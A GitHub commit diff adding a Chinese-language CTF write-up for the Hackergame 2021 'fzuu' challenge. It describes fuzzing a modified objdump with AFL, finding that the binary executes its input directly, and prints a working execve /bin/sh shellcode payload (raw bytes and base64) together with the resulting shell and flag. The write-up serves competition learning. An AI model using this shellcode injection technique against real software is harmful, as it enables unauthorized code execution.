Skip to content

Commit 7dc9ba1

Browse files
authored
Merge pull request #50 from GZTimeWalker/master
Add solution for fzuu
2 parents 346cf8f + 03fff4b commit 7dc9ba1

File tree

1 file changed

+65
-1
lines changed

1 file changed

+65
-1
lines changed

players/GZTime/writeup.md

Lines changed: 65 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44

55
公式在 GitHub 大概率无法显示,建议移步博客阅读。
66

7-
代码文件见 []
7+
代码文件见 [scripts](https://github.com/USTC-Hackergame/hackergame2021-writeups/tree/master/players/GZTime/scripts)
88

99
## 签到
1010

@@ -1690,6 +1690,70 @@ while count > 0:
16901690

16911691
**flag{ju5t_b3_fun_00aacf491c}**
16921692

1693+
## fzuu
1694+
1695+
进入注三所指向的网址,可以看到什么是 AFL:american fuzzy lop,简单来说就是通过编译时插桩、分支检测等方式寻找程序的漏洞,对于这道题,我们用其所给的跑一下。
1696+
1697+
最开始用的参数有问题,fuzz 了好几个小时都没有能用的 payload,最后才发现我把 `-d` 写成了 `-a`……
1698+
```bash
1699+
$ afl-fuzz -i fuzz_in/ -o found ./objdump_afl -d @@
1700+
```
1701+
1702+
私以为这个界面真帅:
1703+
1704+
![](https://cdn.gztime.cc/hg2021/fuzz.jpg)
1705+
1706+
再一段时间的运行之后,我们发现了这样一个 payload:
1707+
```bash
1708+
$ ./objdump -d ./found/fuzzer5/crashes/id\:000000\,sig\:04\,src\:000063+000073\,op\:splice\,rep\:2
1709+
Illegal instruction
1710+
1711+
$ xxd ./found/fuzzer5/crashes/id\:000000\,sig\:04\,src\:000063+000073\,op\:splice\,rep\:2
1712+
00000000: 5331 3030 3030 30ff ffff ffff 7fff ff7b S100000........{
1713+
```
1714+
1715+
于是使用 gdb 调试,看看发生了什么,在崩溃处:
1716+
```bash
1717+
RIP 0x7fffffffced2 ◂— 0x7bffff7fffffffff
1718+
───────────────────[ DISASM ]───────────────────
1719+
Invalid instructions at 0x7fffffffced2
1720+
```
1721+
1722+
于是意识到,程序将我们的输入从第八字节开始直接执行了,于是直接从[shell-strom](http://shell-storm.org/shellcode/)上找个`shellcode`,拼接后执行:
1723+
1724+
```py
1725+
from base64 import b64encode
1726+
code = b'S100000\xff1\xc0H\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05'
1727+
open('exp.1.bin','wb').write(code)
1728+
print(b64encode(code))
1729+
```
1730+
1731+
测试执行:
1732+
```bash
1733+
┌──(user㉿GZTime-LAPTOP)-[/mnt/…/CTF/hackergame2021/fzuu]
1734+
└─$ ./objdump -d exp.1.bin
1735+
$ ls
1736+
exp.1.bin exp.bin objdump objdump.i64 objdump_afl
1737+
```
1738+
1739+
直接获取 `shell`,于是上传:
1740+
```bash
1741+
Input your payload in base64: UzEwMDAwMP8xwEi70Z2WkdCMl/9I99tTVF+ZUldUXrA7DwU=
1742+
ls
1743+
bin
1744+
flag.txt
1745+
lib
1746+
lib32
1747+
lib64
1748+
libx32
1749+
main.sh
1750+
objdump
1751+
cat flag.txt
1752+
flag{FuZzlng_Ls_uSeFuI_IN_Testing_e444e963fe}
1753+
```
1754+
1755+
**flag{FuZzlng_Ls_uSeFuI_IN_Testing_e444e963fe}**
1756+
16931757
## 超 OI 的 Writeup 模拟器
16941758

16951759
~~好欸,我上电视了~~,成功被出题人引用了hhhhh

0 commit comments

Comments
 (0)